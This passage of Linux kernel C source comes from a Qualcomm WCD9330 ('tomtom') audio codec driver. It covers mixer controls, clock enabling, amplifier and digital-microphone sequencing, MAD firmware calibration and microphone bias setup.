SOC_DAPM_ENUM_EXT("SLIM RX5 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX6 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX7 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX8 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
};
static const struct snd_kcontrol_new aif4_vi_mixer[] = {
SOC_SINGLE_EXT("SPKR_VI_1", SND_SOC_NOPM, TOMTOM_TX11, 1, 0,
tomtom_vi_feed_mixer_get, tomtom_vi_feed_mixer_put),
SOC_SINGLE_EXT("SPKR_VI_2", SND_SOC_NOPM, TOMTOM_TX14, 1, 0,
tomtom_vi_feed_mixer_get, tomtom_vi_feed_mixer_put),
};
static const struct snd_kcontrol_new aif1_cap_mixer[] = {
SOC_SINGLE_EXT("SLIM TX1", SND_SOC_NOPM, TOMTOM_TX1, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX2", SND_SOC_NOPM, TOMTOM_TX2, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX3", SND_SOC_NOPM, TOMTOM_TX3, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX4", SND_SOC_NOPM, TOMTOM_TX4, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX5", SND_SOC_NOPM, TOMTOM_TX5, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX6", SND_SOC_NOPM, TOMTOM_TX6, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX7", SND_SOC_NOPM, TOMTOM_TX7, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX8", SND_SOC_NOPM, TOMTOM_TX8, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX9", SND_SOC_NOPM, TOMTOM_TX9, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX10", SND_SOC_NOPM, TOMTOM_TX10, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
};
static const struct snd_kcontrol_new aif2_cap_mixer[] = {
SOC_SINGLE_EXT("SLIM TX1", SND_SOC_NOPM, TOMTOM_TX1, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX2", SND_SOC_NOPM, TOMTOM_TX2, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX3", SND_SOC_NOPM, TOMTOM_TX3, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX4", SND_SOC_NOPM, TOMTOM_TX4, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX5", SND_SOC_NOPM, TOMTOM_TX5, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX6", SND_SOC_NOPM, TOMTOM_TX6, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX7", SND_SOC_NOPM, TOMTOM_TX7, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX8", SND_SOC_NOPM, TOMTOM_TX8, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX9", SND_SOC_NOPM, TOMTOM_TX9, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX10", SND_SOC_NOPM, TOMTOM_TX10, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
};
static const struct snd_kcontrol_new aif3_cap_mixer[] = {
SOC_SINGLE_EXT("SLIM TX1", SND_SOC_NOPM, TOMTOM_TX1, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX2", SND_SOC_NOPM, TOMTOM_TX2, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX3", SND_SOC_NOPM, TOMTOM_TX3, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX4", SND_SOC_NOPM, TOMTOM_TX4, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX5", SND_SOC_NOPM, TOMTOM_TX5, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX6", SND_SOC_NOPM, TOMTOM_TX6, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX7", SND_SOC_NOPM, TOMTOM_TX7, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX8", SND_SOC_NOPM, TOMTOM_TX8, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX9", SND_SOC_NOPM, TOMTOM_TX9, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX10", SND_SOC_NOPM, TOMTOM_TX10, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
};
static void tomtom_codec_enable_adc_block(struct snd_soc_codec *codec,
int enable)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
pr_debug("%s %d\n", __func__, enable);
if (enable) {
tomtom->adc_count++;
snd_soc_update_bits(codec, WCD9XXX_A_CDC_CLK_OTHR_CTL,
0x2, 0x2);
} else {
tomtom->adc_count--;
if (!tomtom->adc_count)
snd_soc_update_bits(codec, WCD9XXX_A_CDC_CLK_OTHR_CTL,
0x2, 0x0);
}
}
static int tomtom_codec_enable_adc(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
u16 adc_reg;
u16 tx_fe_clkdiv_reg;
u8 tx_fe_clkdiv_mask;
u8 init_bit_shift;
u8 bit_pos;
pr_debug("%s %d\n", __func__, event);
switch (w->reg) {
case TOMTOM_A_TX_1_GAIN:
adc_reg = TOMTOM_A_TX_1_2_TEST_CTL;
tx_fe_clkdiv_reg = TOMTOM_A_TX_1_2_TXFE_CLKDIV;
tx_fe_clkdiv_mask = 0x0F;
init_bit_shift = 7;
bit_pos = ADC1_TXFE;
break;
case TOMTOM_A_TX_2_GAIN:
adc_reg = TOMTOM_A_TX_1_2_TEST_CTL;
tx_fe_clkdiv_reg = TOMTOM_A_TX_1_2_TXFE_CLKDIV;
tx_fe_clkdiv_mask = 0xF0;
init_bit_shift = 6;
bit_pos = ADC2_TXFE;
break;
case TOMTOM_A_TX_3_GAIN:
adc_reg = TOMTOM_A_TX_3_4_TEST_CTL;
init_bit_shift = 7;
tx_fe_clkdiv_reg = TOMTOM_A_TX_3_4_TXFE_CKDIV;
tx_fe_clkdiv_mask = 0x0F;
bit_pos = ADC3_TXFE;
break;
case TOMTOM_A_TX_4_GAIN:
adc_reg = TOMTOM_A_TX_3_4_TEST_CTL;
init_bit_shift = 6;
tx_fe_clkdiv_reg = TOMTOM_A_TX_3_4_TXFE_CKDIV;
tx_fe_clkdiv_mask = 0xF0;
bit_pos = ADC4_TXFE;
break;
case TOMTOM_A_TX_5_GAIN:
adc_reg = TOMTOM_A_TX_5_6_TEST_CTL;
init_bit_shift = 7;
tx_fe_clkdiv_reg = TOMTOM_A_TX_5_6_TXFE_CKDIV;
tx_fe_clkdiv_mask = 0x0F;
bit_pos = ADC5_TXFE;
break;
case TOMTOM_A_TX_6_GAIN:
adc_reg = TOMTOM_A_TX_5_6_TEST_CTL;
init_bit_shift = 6;
tx_fe_clkdiv_reg = TOMTOM_A_TX_5_6_TXFE_CKDIV;
tx_fe_clkdiv_mask = 0xF0;
bit_pos = ADC6_TXFE;
break;
default:
pr_err("%s: Error, invalid adc register\n", __func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
snd_soc_update_bits(codec, tx_fe_clkdiv_reg, tx_fe_clkdiv_mask,
0x0);
set_bit(bit_pos, &priv->status_mask);
tomtom_codec_enable_adc_block(codec, 1);
snd_soc_update_bits(codec, adc_reg, 1 << init_bit_shift,
1 << init_bit_shift);
break;
case SND_SOC_DAPM_POST_PMU:
snd_soc_update_bits(codec, adc_reg, 1 << init_bit_shift, 0x00);
break;
case SND_SOC_DAPM_POST_PMD:
tomtom_codec_enable_adc_block(codec, 0);
break;
}
return 0;
}
static int tomtom_codec_ext_clk_en(struct snd_soc_codec *codec,
int enable, bool dapm)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
if (!tomtom->codec_ext_clk_en_cb) {
dev_err(codec->dev,
"%s: Invalid ext_clk_callback\n",
__func__);
return -EINVAL;
}
return tomtom->codec_ext_clk_en_cb(codec, enable, dapm);
}
static int __tomtom_mclk_enable(struct tomtom_priv *tomtom, int mclk_enable)
{
int ret = 0;
WCD9XXX_BG_CLK_LOCK(&tomtom->resmgr);
if (mclk_enable) {
tomtom->ext_clk_users++;
if (tomtom->ext_clk_users > 1)
goto bg_clk_unlock;
ret = clk_prepare_enable(tomtom->wcd_ext_clk);
if (ret) {
pr_err("%s: ext clk enable failed\n",
__func__);
tomtom->ext_clk_users--;
goto bg_clk_unlock;
}
wcd9xxx_resmgr_get_bandgap(&tomtom->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
wcd9xxx_resmgr_get_clk_block(&tomtom->resmgr, WCD9XXX_CLK_MCLK);
} else {
tomtom->ext_clk_users--;
if (tomtom->ext_clk_users == 0) {
/* Put clock and BG */
wcd9xxx_resmgr_put_clk_block(&tomtom->resmgr,
WCD9XXX_CLK_MCLK);
wcd9xxx_resmgr_put_bandgap(&tomtom->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
clk_disable_unprepare(tomtom->wcd_ext_clk);
}
}
bg_clk_unlock:
WCD9XXX_BG_CLK_UNLOCK(&tomtom->resmgr);
return ret;
}
int tomtom_codec_mclk_enable(struct snd_soc_codec *codec,
int enable, bool dapm)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
if (tomtom->wcd_ext_clk) {
dev_dbg(codec->dev, "%s: mclk_enable = %u, dapm = %d\n",
__func__, enable, dapm);
return __tomtom_mclk_enable(tomtom, enable);
} else if (tomtom->codec_ext_clk_en_cb)
return tomtom_codec_ext_clk_en(codec, enable, dapm);
else {
dev_err(codec->dev,
"%s: Cannot turn on MCLK\n",
__func__);
return -EINVAL;
}
}
EXPORT_SYMBOL(tomtom_codec_mclk_enable);
static int tomtom_codec_get_ext_clk_users(struct tomtom_priv *tomtom)
{
if (tomtom->wcd_ext_clk)
return tomtom->ext_clk_users;
else if (tomtom->codec_get_ext_clk_cnt)
return tomtom->codec_get_ext_clk_cnt();
else
return 0;
}
/* tomtom_codec_internal_rco_ctrl( )
* Make sure that BG_CLK_LOCK is not acquired. Exit if acquired to avoid
* potential deadlock as ext_clk_en_cb() also tries to acquire the same
* lock to enable MCLK for RCO calibration
*/
static int tomtom_codec_internal_rco_ctrl(struct snd_soc_codec *codec,
bool enable)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
int ret = 0;
if (mutex_is_locked(&tomtom->resmgr.codec_bg_clk_lock)) {
dev_err(codec->dev, "%s: BG_CLK already acquired\n",
__func__);
ret = -EINVAL;
goto done;
}
if (enable) {
if (wcd9xxx_resmgr_get_clk_type(&tomtom->resmgr) ==
WCD9XXX_CLK_RCO) {
WCD9XXX_BG_CLK_LOCK(&tomtom->resmgr);
wcd9xxx_resmgr_get_clk_block(&tomtom->resmgr,
WCD9XXX_CLK_RCO);
WCD9XXX_BG_CLK_UNLOCK(&tomtom->resmgr);
} else {
tomtom_codec_mclk_enable(codec, true, false);
WCD9XXX_BG_CLK_LOCK(&tomtom->resmgr);
tomtom->resmgr.ext_clk_users =
tomtom_codec_get_ext_clk_users(tomtom);
wcd9xxx_resmgr_get_clk_block(&tomtom->resmgr,
WCD9XXX_CLK_RCO);
WCD9XXX_BG_CLK_UNLOCK(&tomtom->resmgr);
tomtom_codec_mclk_enable(codec, false, false);
}
} else {
WCD9XXX_BG_CLK_LOCK(&tomtom->resmgr);
wcd9xxx_resmgr_put_clk_block(&tomtom->resmgr,
WCD9XXX_CLK_RCO);
WCD9XXX_BG_CLK_UNLOCK(&tomtom->resmgr);
}
done:
return ret;
}
static int tomtom_codec_enable_aux_pga(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
pr_debug("%s: %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
WCD9XXX_BG_CLK_LOCK(&tomtom->resmgr);
wcd9xxx_resmgr_get_bandgap(&tomtom->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&tomtom->resmgr);
/* AUX PGA requires RCO or MCLK */
tomtom_codec_internal_rco_ctrl(codec, true);
WCD9XXX_BG_CLK_LOCK(&tomtom->resmgr);
wcd9xxx_resmgr_enable_rx_bias(&tomtom->resmgr, 1);
WCD9XXX_BG_CLK_UNLOCK(&tomtom->resmgr);
break;
case SND_SOC_DAPM_POST_PMD:
WCD9XXX_BG_CLK_LOCK(&tomtom->resmgr);
wcd9xxx_resmgr_enable_rx_bias(&tomtom->resmgr, 0);
WCD9XXX_BG_CLK_UNLOCK(&tomtom->resmgr);
tomtom_codec_internal_rco_ctrl(codec, false);
WCD9XXX_BG_CLK_LOCK(&tomtom->resmgr);
wcd9xxx_resmgr_put_bandgap(&tomtom->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&tomtom->resmgr);
break;
}
return 0;
}
static int tomtom_codec_enable_lineout(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
u16 lineout_gain_reg;
pr_debug("%s %d %s\n", __func__, event, w->name);
switch (w->shift) {
case 0:
lineout_gain_reg = TOMTOM_A_RX_LINE_1_GAIN;
break;
case 1:
lineout_gain_reg = TOMTOM_A_RX_LINE_2_GAIN;
break;
case 2:
lineout_gain_reg = TOMTOM_A_RX_LINE_3_GAIN;
break;
case 3:
lineout_gain_reg = TOMTOM_A_RX_LINE_4_GAIN;
break;
default:
pr_err("%s: Error, incorrect lineout register value\n",
__func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
snd_soc_update_bits(codec, lineout_gain_reg, 0x40, 0x40);
break;
case SND_SOC_DAPM_POST_PMU:
wcd9xxx_clsh_fsm(codec, &tomtom->clsh_d,
WCD9XXX_CLSH_STATE_LO,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
pr_debug("%s: sleeping 5 ms after %s PA turn on\n",
__func__, w->name);
/* Wait for CnP time after PA enable */
usleep_range(5000, 5100);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, lineout_gain_reg, 0x40, 0x00);
pr_debug("%s: sleeping 5 ms after %s PA turn off\n",
__func__, w->name);
/* Wait for CnP time after PA disable */
usleep_range(5000, 5100);
break;
}
return 0;
}
static int tomtom_codec_enable_spk_pa(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
u16 spk_drv_reg;
pr_debug("%s: %d %s\n", __func__, event, w->name);
if (strnstr(w->name, "SPK2 PA", sizeof("SPK2 PA")))
spk_drv_reg = TOMTOM_A_SPKR_DRV2_EN;
else
spk_drv_reg = TOMTOM_A_SPKR_DRV1_EN;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
tomtom->spkr_pa_widget_on = true;
snd_soc_update_bits(codec, spk_drv_reg, 0x80, 0x80);
break;
case SND_SOC_DAPM_POST_PMD:
tomtom->spkr_pa_widget_on = false;
snd_soc_update_bits(codec, spk_drv_reg, 0x80, 0x00);
break;
}
return 0;
}
static u8 tomtom_get_dmic_clk_val(struct snd_soc_codec *codec,
u32 mclk_rate, u32 dmic_clk_rate)
{
u32 div_factor;
u8 dmic_ctl_val;
dev_dbg(codec->dev,
"%s: mclk_rate = %d, dmic_sample_rate = %d\n",
__func__, mclk_rate, dmic_clk_rate);
/* Default value to return in case of error */
if (mclk_rate == TOMTOM_MCLK_CLK_9P6MHZ)
dmic_ctl_val = WCD9330_DMIC_CLK_DIV_2;
else
dmic_ctl_val = WCD9330_DMIC_CLK_DIV_3;
if (dmic_clk_rate == 0) {
dev_err(codec->dev,
"%s: dmic_sample_rate cannot be 0\n",
__func__);
goto done;
}
div_factor = mclk_rate / dmic_clk_rate;
switch (div_factor) {
case 2:
dmic_ctl_val = WCD9330_DMIC_CLK_DIV_2;
break;
case 3:
dmic_ctl_val = WCD9330_DMIC_CLK_DIV_3;
break;
case 4:
dmic_ctl_val = WCD9330_DMIC_CLK_DIV_4;
break;
case 6:
dmic_ctl_val = WCD9330_DMIC_CLK_DIV_6;
break;
case 16:
dmic_ctl_val = WCD9330_DMIC_CLK_DIV_16;
break;
default:
dev_err(codec->dev,
"%s: Invalid div_factor %u, clk_rate(%u), dmic_rate(%u)\n",
__func__, div_factor, mclk_rate, dmic_clk_rate);
break;
}
done:
return dmic_ctl_val;
}
static int tomtom_codec_enable_dmic(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_pdata *pdata = tomtom->resmgr.pdata;
u8 dmic_clk_en;
u16 dmic_clk_reg;
s32 *dmic_clk_cnt;
u8 dmic_rate_val, dmic_rate_shift;
unsigned int dmic;
int ret;
char *wname;
wname = strpbrk(w->name, "123456");
if (!wname) {
dev_err(codec->dev, "%s: widget not found\n", __func__);
return -EINVAL;
}
ret = kstrtouint(wname, 10, &dmic);
if (ret < 0) {
pr_err("%s: Invalid DMIC line on the codec\n", __func__);
return -EINVAL;
}
switch (dmic) {
case 1:
case 2:
dmic_clk_en = 0x01;
dmic_clk_cnt = &(tomtom->dmic_1_2_clk_cnt);
dmic_clk_reg = TOMTOM_A_DMIC_B1_CTL;
dmic_rate_shift = 5;
pr_debug("%s() event %d DMIC%d dmic_1_2_clk_cnt %d\n",
__func__, event, dmic, *dmic_clk_cnt);
break;
case 3:
case 4:
dmic_clk_en = 0x02;
dmic_clk_cnt = &(tomtom->dmic_3_4_clk_cnt);
dmic_clk_reg = TOMTOM_A_DMIC_B2_CTL;
dmic_rate_shift = 1;
pr_debug("%s() event %d DMIC%d dmic_3_4_clk_cnt %d\n",
__func__, event, dmic, *dmic_clk_cnt);
break;
case 5:
case 6:
dmic_clk_en = 0x04;
dmic_clk_cnt = &(tomtom->dmic_5_6_clk_cnt);
dmic_clk_reg = TOMTOM_A_DMIC_B2_CTL;
dmic_rate_shift = 4;
pr_debug("%s() event %d DMIC%d dmic_5_6_clk_cnt %d\n",
__func__, event, dmic, *dmic_clk_cnt);
break;
default:
pr_err("%s: Invalid DMIC Selection\n", __func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
dmic_rate_val =
tomtom_get_dmic_clk_val(codec,
pdata->mclk_rate,
pdata->dmic_sample_rate);
(*dmic_clk_cnt)++;
if (*dmic_clk_cnt == 1) {
snd_soc_update_bits(codec, dmic_clk_reg,
0x07 << dmic_rate_shift,
dmic_rate_val << dmic_rate_shift);
snd_soc_update_bits(codec, TOMTOM_A_DMIC_B1_CTL,
dmic_clk_en, dmic_clk_en);
}
break;
case SND_SOC_DAPM_POST_PMD:
dmic_rate_val =
tomtom_get_dmic_clk_val(codec,
pdata->mclk_rate,
pdata->mad_dmic_sample_rate);
(*dmic_clk_cnt)--;
if (*dmic_clk_cnt == 0) {
snd_soc_update_bits(codec, TOMTOM_A_DMIC_B1_CTL,
dmic_clk_en, 0);
snd_soc_update_bits(codec, dmic_clk_reg,
0x07 << dmic_rate_shift,
dmic_rate_val << dmic_rate_shift);
}
break;
}
return 0;
}
static int tomtom_codec_config_mad(struct snd_soc_codec *codec)
{
int ret;
const struct firmware *fw;
struct firmware_cal *hwdep_cal = NULL;
struct mad_audio_cal *mad_cal;
const void *data;
const char *filename = TOMTOM_MAD_AUDIO_FIRMWARE_PATH;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
size_t cal_size;
int idx;
pr_debug("%s: enter\n", __func__);
if (!tomtom->fw_data) {
dev_err(codec->dev, "%s: invalid cal data\n",
__func__);
return -ENODEV;
}
hwdep_cal = wcdcal_get_fw_cal(tomtom->fw_data, WCD9XXX_MAD_CAL);
if (hwdep_cal) {
data = hwdep_cal->data;
cal_size = hwdep_cal->size;
dev_dbg(codec->dev, "%s: using hwdep calibration\n",
__func__);
} else {
ret = request_firmware(&fw, filename, codec->dev);
if (ret != 0) {
pr_err("Failed to acquire MAD firwmare data %s: %d\n",
filename, ret);
return -ENODEV;
}
if (!fw) {
dev_err(codec->dev, "failed to get mad fw");
return -ENODEV;
}
data = fw->data;
cal_size = fw->size;
dev_dbg(codec->dev, "%s: using request_firmware calibration\n",
__func__);
}
if (cal_size < sizeof(struct mad_audio_cal)) {
pr_err("%s: incorrect hwdep cal size %zu\n",
__func__, cal_size);
ret = -ENOMEM;
goto err;
}
mad_cal = (struct mad_audio_cal *)(data);
if (!mad_cal) {
dev_err(codec->dev, "%s: Invalid calibration data\n",
__func__);
ret = -EINVAL;
goto err;
}
snd_soc_write(codec, TOMTOM_A_CDC_MAD_MAIN_CTL_2,
mad_cal->microphone_info.cycle_time);
snd_soc_update_bits(codec, TOMTOM_A_CDC_MAD_MAIN_CTL_1, 0xFF << 3,
((uint16_t)mad_cal->microphone_info.settle_time)
<< 3);
/* Audio */
snd_soc_write(codec, TOMTOM_A_CDC_MAD_AUDIO_CTL_8,
mad_cal->audio_info.rms_omit_samples);
snd_soc_update_bits(codec, TOMTOM_A_CDC_MAD_AUDIO_CTL_1,
0x07 << 4, mad_cal->audio_info.rms_comp_time << 4);
snd_soc_update_bits(codec, TOMTOM_A_CDC_MAD_AUDIO_CTL_2, 0x03 << 2,
mad_cal->audio_info.detection_mechanism << 2);
snd_soc_write(codec, TOMTOM_A_CDC_MAD_AUDIO_CTL_7,
mad_cal->audio_info.rms_diff_threshold & 0x3F);
snd_soc_write(codec, TOMTOM_A_CDC_MAD_AUDIO_CTL_5,
mad_cal->audio_info.rms_threshold_lsb);
snd_soc_write(codec, TOMTOM_A_CDC_MAD_AUDIO_CTL_6,
mad_cal->audio_info.rms_threshold_msb);
for (idx = 0; idx < ARRAY_SIZE(mad_cal->audio_info.iir_coefficients);
idx++) {
snd_soc_update_bits(codec, TOMTOM_A_CDC_MAD_AUDIO_IIR_CTL_PTR,
0x3F, idx);
snd_soc_write(codec, TOMTOM_A_CDC_MAD_AUDIO_IIR_CTL_VAL,
mad_cal->audio_info.iir_coefficients[idx]);
dev_dbg(codec->dev, "%s:MAD Audio IIR Coef[%d] = 0X%x",
__func__, idx,
mad_cal->audio_info.iir_coefficients[idx]);
}
/* Beacon */
snd_soc_write(codec, TOMTOM_A_CDC_MAD_BEACON_CTL_8,
mad_cal->beacon_info.rms_omit_samples);
snd_soc_update_bits(codec, TOMTOM_A_CDC_MAD_BEACON_CTL_1,
0x07 << 4, mad_cal->beacon_info.rms_comp_time);
snd_soc_update_bits(codec, TOMTOM_A_CDC_MAD_BEACON_CTL_2, 0x03 << 2,
mad_cal->beacon_info.detection_mechanism << 2);
snd_soc_write(codec, TOMTOM_A_CDC_MAD_BEACON_CTL_7,
mad_cal->beacon_info.rms_diff_threshold & 0x1F);
snd_soc_write(codec, TOMTOM_A_CDC_MAD_BEACON_CTL_5,
mad_cal->beacon_info.rms_threshold_lsb);
snd_soc_write(codec, TOMTOM_A_CDC_MAD_BEACON_CTL_6,
mad_cal->beacon_info.rms_threshold_msb);
/* Ultrasound */
snd_soc_update_bits(codec, TOMTOM_A_CDC_MAD_BEACON_CTL_1,
0x07 << 4, mad_cal->beacon_info.rms_comp_time);
snd_soc_update_bits(codec, TOMTOM_A_CDC_MAD_ULTR_CTL_2, 0x03 << 2,
mad_cal->ultrasound_info.detection_mechanism);
snd_soc_write(codec, TOMTOM_A_CDC_MAD_ULTR_CTL_7,
mad_cal->ultrasound_info.rms_diff_threshold & 0x1F);
snd_soc_write(codec, TOMTOM_A_CDC_MAD_ULTR_CTL_5,
mad_cal->ultrasound_info.rms_threshold_lsb);
snd_soc_write(codec, TOMTOM_A_CDC_MAD_ULTR_CTL_6,
mad_cal->ultrasound_info.rms_threshold_msb);
/* Set MAD intr time to 20 msec */
snd_soc_update_bits(codec, 0x4E, 0x01F, 0x13);
pr_debug("%s: leave ret %d\n", __func__, ret);
err:
if (!hwdep_cal)
release_firmware(fw);
return ret;
}
static int tomtom_codec_enable_mad(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
int ret = 0;
u8 mad_micb, mad_cfilt;
u16 mad_cfilt_reg;
mad_micb = snd_soc_read(codec, TOMTOM_A_MAD_ANA_CTRL) & 0x07;
switch (mad_micb) {
case 1:
mad_cfilt = tomtom->resmgr.pdata->micbias.bias1_cfilt_sel;
break;
case 2:
mad_cfilt = tomtom->resmgr.pdata->micbias.bias2_cfilt_sel;
break;
case 3:
mad_cfilt = tomtom->resmgr.pdata->micbias.bias3_cfilt_sel;
break;
case 4:
mad_cfilt = tomtom->resmgr.pdata->micbias.bias4_cfilt_sel;
break;
default:
dev_err(codec->dev,
"%s: Invalid micbias selection 0x%x\n",
__func__, mad_micb);
return -EINVAL;
}
switch (mad_cfilt) {
case WCD9XXX_CFILT1_SEL:
mad_cfilt_reg = TOMTOM_A_MICB_CFILT_1_VAL;
break;
case WCD9XXX_CFILT2_SEL:
mad_cfilt_reg = TOMTOM_A_MICB_CFILT_2_VAL;
break;
case WCD9XXX_CFILT3_SEL:
mad_cfilt_reg = TOMTOM_A_MICB_CFILT_3_VAL;
break;
default:
dev_err(codec->dev,
"%s: invalid cfilt 0x%x for micb 0x%x\n",
__func__, mad_cfilt, mad_micb);
return -EINVAL;
}
dev_dbg(codec->dev,
"%s event = %d, mad_cfilt_reg = 0x%x\n",
__func__, event, mad_cfilt_reg);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Undo reset for MAD */
snd_soc_update_bits(codec, TOMTOM_A_SVASS_CLKRST_CTL,
0x02, 0x00);
ret = tomtom_codec_config_mad(codec);
if (ret) {
pr_err("%s: Failed to config MAD\n", __func__);
break;
}
/* setup MAD micbias to VDDIO */
snd_soc_update_bits(codec, mad_cfilt_reg,
0x02, 0x02);
break;
case SND_SOC_DAPM_POST_PMD:
/* Reset the MAD block */
snd_soc_update_bits(codec, TOMTOM_A_SVASS_CLKRST_CTL,
0x02, 0x02);
/* Undo setup of MAD micbias to VDDIO */
snd_soc_update_bits(codec, mad_cfilt_reg,
0x02, 0x00);
}
return ret;
}
static int tomtom_codec_enable_micbias(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
u16 micb_int_reg = 0, micb_ctl_reg = 0;
u8 cfilt_sel_val = 0;
char *internal1_text = "Internal1";
char *internal2_text = "Internal2";
char *internal3_text = "Internal3";
enum wcd9xxx_notify_event e_post_off, e_pre_on, e_post_on;
pr_debug("%s: w->name %s event %d\n", __func__, w->name, event);
if (strnstr(w->name, "MIC BIAS1", sizeof("MIC BIAS1"))) {
micb_ctl_reg = TOMTOM_A_MICB_1_CTL;
micb_int_reg = TOMTOM_A_MICB_1_INT_RBIAS;
cfilt_sel_val = tomtom->resmgr.pdata->micbias.bias1_cfilt_sel;
e_pre_on = WCD9XXX_EVENT_PRE_MICBIAS_1_ON;
e_post_on = WCD9XXX_EVENT_POST_MICBIAS_1_ON;
e_post_off = WCD9XXX_EVENT_POST_MICBIAS_1_OFF;
} else if (strnstr(w->name, "MIC BIAS2", sizeof("MIC BIAS2"))) {
micb_ctl_reg = TOMTOM_A_MICB_2_CTL;
micb_int_reg = TOMTOM_A_MICB_2_INT_RBIAS;
cfilt_sel_val = tomtom->resmgr.pdata->micbias.bias2_cfilt_sel;
e_pre_on = WCD9XXX_EVENT_PRE_MICBIAS_2_ON;
e_post_on = WCD9XXX_EVENT_POST_MICBIAS_2_ON;
e_post_off = WCD9XXX_EVENT_POST_MICBIAS_2_OFF;
} else if (strnstr(w->name, "MIC BIAS3", sizeof("MIC BIAS3"))) {
micb_ctl_reg = TOMTOM_A_MICB_3_CTL;
micb_int_reg = TOMTOM_A_MICB_3_INT_RBIAS;
